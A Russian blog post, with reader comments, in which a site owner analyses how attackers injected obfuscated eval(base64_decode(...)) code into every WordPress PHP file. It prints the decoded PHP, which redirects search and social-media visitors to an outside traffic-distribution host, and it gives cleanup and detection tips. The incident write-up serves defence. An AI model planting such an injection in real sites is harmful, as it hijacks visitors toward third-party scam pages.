.
Место для Вашей рекламы
29 Май 2012

Взлом сайта или «Хочу быть стройной»…

posted in security, SEO |

Сегодня ночью снова пронырливые хакеры ломанули мой сервак 🙁
(На самом деле это очередной втык мне за халатность в безопасности — вроде и знаю какие меры уже давно пора предпринять — НО постоянно, то времени нет, то забываю …)

Сегодня уже думал написать жизненный пост о том, что постить в блог некогда, в связи с приобретением дачного участка, да и тем особых нет — как НА ТЕБЕ — ДЕРЖИ темку для поста 🙂

ИТАК, захожу в админку WP писать пост — а там охрененная куча изменённых файлов — я так понял все php файлы движка WordPress. Кстати, в связи с происшедшим, рекомендую подобные хэш-сравнивалки, устанавливать на все сайты.

Захожу — смотрю глазами — а там в начале блока php сразу за тегом открытия за кучей табуляций (благо их было не так много, чтоб не заметить код)
eval(base64_decode(«…набор символов…»));
причём сволочи зачем то в одном файле по 20-30 раз впаяли … (по вхождению тега начала php кода)

Это значит, что МЕНЯ ПОЛОМАЛИ и внедрили в код чужеродное вкропление — инъекцию зловредного PHP кода!

меняю eval на file_put_contents дабы понять суть php инъекции и вижу следующее

error_reporting(0);
$qazplm=headers_sent();
$referer=$_SERVER['HTTP_REFERER'];
if (!$qazplm){
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){header("Location: http://9maiak.sellClassics.com/");
exit();
}}}}}

Поясню суть инъекции — любой поисковый (и не совсем поисковый) трафик этим скриптом перенаправляется на 9maiak.sellClassics.com где какая то система управления трафиком, уже в зависимости от реферера, либо конкретного ключевика, либо …. любого другого фактора перекидывает на какой-то другой, чужой сайт. Например, меня кидало на сайтик «Хочу быть стройной» URL testrrru-online.ru/freshdiet/. По коммерческим ключевикам может быть кинуло куда-нить в другое место…

Для правки взад всех инъекций срочно был написан скрипт, так что кому надо — стучите, объясню как пользоваться.

Далее немного анализа:

С инъекцией прошлись вообще по всем php файлам доступным под запись пользователю под которым работает apache, что говорит о характере взлома — 90% влом был осуществлён через http протокол через какую нибудь уязвимость движка, к сожалению пока не знаю как вычислить «откуда ветер дует».

Время модификации было изменено на 15 декабря 2011 года — заметали следы негодяи! (везде одно и тоже — поэтому можно найти зараженные файлы по этому параметру).

Для защиты от выполнения именно таких инъекций можно запретить eval параметром suhosin патча, но это отдельная песня — в идеале всё же нужно вообще не допускать никаких инъекций.

У нас 24 комментария на запись “Взлом сайта или «Хочу быть стройной»…”

Почему бы Вам не высказать своем мнение! Позвольте нам узнать, что Вы думаете...

  1. 1 On 14.06.2012, eXtremal said:

    Я в шоке, надо быть поосторожнее с сайтами, не хочу такое чтобы случилось.

  2. 2 On 14.06.2012, Pimkey said:

    Ого не знал что такое случается. Буду аккуратнее теперь

  3. 3 On 14.06.2012, Dominiq said:

    да не круто если такое произойдет. Нужно как то защитить.

  4. 4 On 25.06.2012, James said:

    Кажеться иньекцияю сложно сделать если отключен вывод об ошибках. Если сайт при ошибке не выдает никаких mysql error и т.д. То ломающему будет сложно …

  5. 5 On 27.06.2012, GTAlex said:

    ставишь php_runkit, переопределяешь названия нужных функций, в данном случае eval-подобных и логируешь что они делают, а если нужно, то автоматом блочишь

    если нет прав на runkit делаешь инклюд ко всем пхп-скриптам при помощи php_auto_prepend в .htaccess и пасешь странные запросы по вайт-листу скриптов и параметрам к ним.

  6. 6 On 27.06.2012, GTAlex said:

    последнее — не моё, просто процитировал один комментарий, мне понравившийся

  7. 7 On 27.06.2012, GTAlex said:

    Я же вычисляю сначала по изменённым файлам, далее анализирую логи.

  8. 8 On 30.07.2012, overbag said:

    Мой блог тоже недавно ломали, вылечил только перезаливкой всех системных файлов вордпресса

  9. 9 On 01.01.2013, YCN said:

    Спасибо за статью, информирован- значит вооружен.

Оставить комментарий

Яндекс.Метрика